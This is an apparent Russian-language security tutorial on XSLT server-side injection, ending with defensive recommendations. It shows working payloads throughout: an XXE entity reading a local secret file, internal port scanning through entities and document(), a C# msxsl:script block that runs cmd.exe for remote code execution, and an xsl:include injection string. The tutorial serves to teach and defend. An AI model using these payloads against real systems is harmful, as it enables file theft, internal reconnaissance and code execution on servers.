XSL (Extensible Stylesheet Language) — это язык для преобразования документов XML. XSLT означает XSL Transformations. XSL Transformations — это сами XML-документы. Результатом преобразования может быть другой XML-документ или что-то еще, например, документ HTML, файл CSV или текстовый файл. В этой статье я расскажу о нескольких векторах атаки на XSLT.
Уязвимости в языке стилей (XSLT) могут иметь серьезные последствия для веб-приложений, зачастую приводящих к удаленному выполнению кода (RCE). Примерами уязвимостей XSLT для удаленного выполнения кода с общедоступными эксплойтами являются CVE-2012-5357, CVE-2012-1592, CVE-2005-3757. Из приведенных выше примеров видно, что уязвимости XSLT довольно давно и, хотя они менее распространены, чем другие подобные уязвимости, такие как XML Injection, они несут довольно серьезные угрозы безопасности.
XSLT
Обычное использование XSLT — это преобразование данных между форматами файлов, обрабатываемыми различными приложениями, а также в качестве механизма шаблонов. Многие бизнес-приложения широко используют XSLT. Например, у нас есть XML-документ с какими-то элементами, атрибутами и значениями, но нам для работы требуется переместить элементы, изменить структуру (к примеру, атрибут сделать элементом) или выполнить дополнительные расчеты. Для можно воспользоваться XSLT-процессором и преобразовать старый документ в новый вид.
Эта технология часто используется для следующих целей:
- построение отчетности;
- экспорт данных в тот или иной формат;
- функций печати;
- отправки сообщений.
Функциональность современных XSLT-процессоров имеет огромный недостаток: если они не настроены должным образом, XSLT-процессоры могут ставить под угрозу веб-приложение или позволить выполнять произвольный код.
Пример трансформации данных: У нас есть XML-файл, который содержит список фруктов и относительных описаний:
<?xml version="1.0" ?>
<fruits>
<fruit>
<name>Lemon</name>
<description>Yellow and sour</description>
</fruit>
<fruit>
<name>Watermelon</name>
<description>Round, green outside, red inside</description>
</fruit>
</fruits>
Чтобы преобразовать XML-документ в текстовый файл, мы можем использовать следующее преобразование XSL:
<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/fruits">
Fruits:
<!-- Loop for each fruit -->
<xsl:for-each select="fruit">
<!-- Print name: description -->
- <xsl:value-of select="name"/>: <xsl:value-of select="description"/>
</xsl:for-each>
</xsl:template>
</xsl:stylesheet>
В результате получим plain-text файл:
Fruits:
- Lemon: Yellow and sour
- Watermelon: Round, green outside, red inside
Эксплуатация XSLT Server Side Injection
В примерах мы cфокусируемся на уязвимом приложении, использующем Microsoft’s System.Xml XSL; однако подобные методы применяются к другим распространенным библиотекам, таким как Libxslt, Saxon и Xalan.
Первым шагом является определение уязвимых параметров приложения. Самый простой случай — это приложение, которое позволяет загружать произвольный файл XSLT.
Препроцессор может генерировать XML-документ динамически, используя инпуты пользователя без надлежащей проверки (поле Your Company Name Here):
<?xml version=”1.0” encoding=”utf-8”?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/fruits">
Your Company Name Here
Fruits:
<!-- Loop for each fruit -->
<xsl:for-each select="fruit">
<!-- Print name: description -->
- <xsl:value-of select="name"/>: <xsl:value-of select="description"/>
</xsl:for-each>
</xsl:template>
<xsl:include href="external_transform.xslt"/>
</xsl:stylesheet>
Чтобы определить, является ли приложение уязвимым, достаточно ввести символы, которые обычно недействительны для синтаксиса XML-документа, например двойные кавычки, одинарные кавычки и угловые скобки. Если сервер возвращает ошибку, приложение потенциально уязвимо.
В разных библиотеках реализованы разные функции XSLT, а функция, доступная в одной библиотеке, может быть недоступна в другой. Очень часто внедряются проприетарные расширения, которые несовместимы между библиотеками. Кроме того, параметры по умолчанию широко изменяются между реализациями, как правило, с более старыми библиотеками, в которых есть опасные функции, включенные по умолчанию, и более новые библиотеки, требующие от разработчиков явно включать их, когда это необходимо.
Имя поставщика библиотеки можно получить с помощью функции «system-property ()», которая является частью стандарта XSLT v1.0.
Следующее преобразование может быть использовано для определения «поставщика» библиотеки:
<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/fruits">
<xsl:value-of select="system-property('xsl:vendor')"/>
</xsl:template>
</xsl:stylesheet>
Мы тестируем реализацию Microsoft .Net System.xml, поэтому возвращаемое значение — «Microsoft»:
Microsoft
Чтение произвольных файлов и сканирование портов
В следующем примере мы используем внешний объект для чтения содержимого файла «C:secretfruit.txt».
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE dtd_sample[<!ENTITY ext_file SYSTEM "C:secretfruit.txt">]>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/fruits">
Fruits &ext_file;:
<!-- Loop for each fruit -->
<xsl:for-each select="fruit">
<!-- Print name: description -->
- <xsl:value-of select="name"/>: <xsl:value-of select="description"/>
</xsl:for-each>
</xsl:template>
</xsl:stylesheet>
Элемент ENTITY помещает содержимое файла в ссылку «ext_file», которую мы затем печатаем внутри основного документа, используя «ext_file;». Вывод показывает секретное содержимое файла (Golden Apple):
Fruits Golden Apple:
- Lemon: Yellow and sour
- Watermelon: Round, green outside, red inside
Этот метод можно использовать для извлечения файлов, хранящихся локально на веб-сервере, и веб-страниц, размещенных на внутренних системах, которые обычно не могут быть доступны злоумышленнику. Это могут быть файлы конфигурации, содержащие учетные данные или файлы, содержащие другую конфиденциальную информацию. Файлы также можно извлекать с использованием UNC-путей: servernamesharefile и http://servername/file.
Используя список IP-адресов и номеров портов, также можно определить, открыт или закрыт удаленный порт в зависимости от ответа приложения. Например, приложение может отображать различные сообщения об ошибках или содержать временные задержки в ответе.
Следующее преобразование XSLT использует URL-адрес http://172.16.132.1:25 вместо локального пути к файлу, используемого в предыдущем примере:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE dtd_sample[<!ENTITY ext_file SYSTEM "http://172.16.132.1:25">]>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/fruits">
Fruits &ext_file;:
<!-- Loop for each fruit -->
<xsl:for-each select="fruit">
<!-- Print name: description -->
- <xsl:value-of select="name"/>: <xsl:value-of select="description"/>
</xsl:for-each>
</xsl:template>
</xsl:stylesheet>
На следующем скриншоте показана ошибка, возвращаемая при попытке подключения к URL-адресу.
Функция «document ()» также может использоваться для извлечения документов и для выполнения сканирования портов:
<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/fruits">
<xsl:copy-of select="document('http://172.16.132.1:25')"/>
Fruits:
<!-- Loop for each fruit -->
<xsl:for-each select="fruit">
<!-- Print name: description -->
- <xsl:value-of select="name"/>: <xsl:value-of select="description"/>
</xsl:for-each>
</xsl:template>
</xsl:stylesheet>
Удаленное выполнение кода с помощью встроенных блоков
Встроенные блоки сценариев являются проприетарными расширениями XSLT, которые позволяют включать код непосредственно в документ XSLT. В реализации Microsoft, например, может быть включен код C #. Когда документ анализируется, код компилируется и выполняется удаленным сервером.
Следующий документ XSLT выводит информацию о файлах в текущем рабочем каталоге:
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:msxsl="urn:schemas-microsoft-com:xslt"
xmlns:user="urn:my-scripts">
<msxsl:script language = "C#" implements-prefix = "user">
<![CDATA[
public string execute(){
System.Diagnostics.Process proc = new System.Diagnostics.Process();
proc.StartInfo.FileName= "C:\windows\system32\cmd.exe";
proc.StartInfo.RedirectStandardOutput = true;
proc.StartInfo.UseShellExecute = false;
proc.StartInfo.Arguments = "/c dir";
proc.Start();
proc.WaitForExit();
return proc.StandardOutput.ReadToEnd();
}
]]>
</msxsl:script>
<xsl:template match="/fruits">
--- BEGIN COMMAND OUTPUT ---
<xsl:value-of select="user:execute()"/>
--- END COMMAND OUTPUT ---
</xsl:template>
</xsl:stylesheet>
Сначала мы определяем два новых XML-префикса внутри тега «xsl: stylesheet». Первый «xmlns: msxsl» необходим для включения проприетарных расширений Microsoft, второй «xmlns: user» объявляет пользовательское расширение пользователя, которое реализуется блоком сценариев «msxsl: script».
Код C # реализует функцию «execute ()», которая выполняет команду «cmd.exe / c dir» и возвращает вывод команды в виде строки. Наконец, функция вызывается внутри тега «xsl: value-of».
Результатом преобразования является вывод команды «dir»:
--- BEGIN COMMAND OUTPUT ---
Volume in drive C has no label.
Volume Serial Number is EC7C-74AD
Directory of C:UserscontextDocumentsVisual Studio 2015ProjectsXsltConsole
ApplicationXsltConsoleApplicationbinDebug
22/02/2017 15:19 <DIR> .
22/02/2017 15:19 <DIR> ..
22/02/2017 13:30 258 data.xml
22/02/2017 14:48 233 external_transform.xslt
22/02/2017 15:15 12 secretfruit.txt
31/01/2017 13:45 154 secretfruit.xml
22/02/2017 15:29 831 transform.xslt
22/02/2017 13:49 7,168 XsltConsoleApplication.exe
26/01/2017 15:42 189 XsltConsoleApplication.exe.config
22/02/2017 13:49 11,776 XsltConsoleApplication.pdb
8 File(s) 20,621 bytes
2 Dir(s) 9,983,107,072 bytes free
--- END COMMAND OUTPUT ---
Функции импорта
Теги импорта и инклуда приложений могут использоваться для объединения нескольких документов XSLT.
Функции импорта могут использоваться для объединения документа XSLT с внешним документом. Когда загружается внешний файл, весь документ анализируется, и если атакующий контролирует его, он может использовать как внешние внешние объекты XML, так и встроенные скрипты во внешнем файле.
Тег «xsl: import» можно использовать только в качестве первого дочернего элемента тега «xsl: stylesheet», в то время как тег «xsl: include» может использоваться в других позициях.
<?xml version=”1.0” encoding=”utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/fruits">
Your Company Name Here
Fruits:
<!-- Loop for each fruit -->
<xsl:for-each select="fruit">
<!-- Print name: description -->
- <xsl:value-of select="name"/>: <xsl:value-of select="description"/>
</xsl:for-each>
</xsl:template>
<xsl:include href="external_transform.xslt"/>
</xsl:stylesheet>
Мы хотим включить следующий внешний XSLT-файл с именем «external_transform.xslt» с сообщением (Hello from the external transformation):
<?xml version=”1.0” encoding=”utf-8”?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
Hello from the external transformation
</xsl:template>
</xsl:stylesheet>
Чтобы включить внешний документ, нам нужно использовать следующий тег:
<xsl: include href = "external_transform.xslt" />
Здесь есть одна особенность: тег «xsl: include» не может быть включен в тег «xsl: template». Поэтому нам сначала нужно закрыть тег «xsl: template», тогда мы можем добавить тег «xsl: include», который удовлетворяет первому требованию. Чтобы получить верно сформированный XML-файл, нам нужно снова открыть тег «xsl: template» после тега «xsl: include».
</xsl:template><xsl:include href="external_transform.xslt"/><xsl:template name="a">
После внедрения инъекции полученный XSLT-документ выглядит следующим образом:
<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/fruits">
</xsl:template><xsl:include href="external_transform.xslt"/><xsl:template name="a">
Fruits:
<!-- Loop for each fruit -->
<xsl:for-each select="fruit">
<!-- Print name: description -->
- <xsl:value-of select="name"/>: <xsl:value-of select="description"/>
</xsl:for-each>
</xsl:template>
<xsl:include href="external_transform.xslt"/>
</xsl:stylesheet>
Рекомендации
Если ваше приложение использует XSLT, вы можете уменьшить риски, следуя этим рекомендациям:
По возможности избегайте предоставленных пользователем XSLT-документов.
Не генерируйте XSLT-документы со значениями, передающимися из ненадежных источников (инпутов). Если требуется нестатическое значение, оно должно быть включено в файл данных XML и только ссылаеться на документ XSLT.
Отключите потенциально опасную функциональность, реализованную используемой библиотекой XSLT. Библиотеки часто используют небезопасные значения по умолчанию. Проверьте документацию библиотеки чтобы отключить: внешние XML-объекты; функцию «document ()»; теги импорта и включения.
Используйте защитные средства фильтрации передаваемого контента.
Также прикладываю таблицу потенциально опасных точек препроцессоров XSLT, используемых по умолчанию:
Автор: LukaSafonov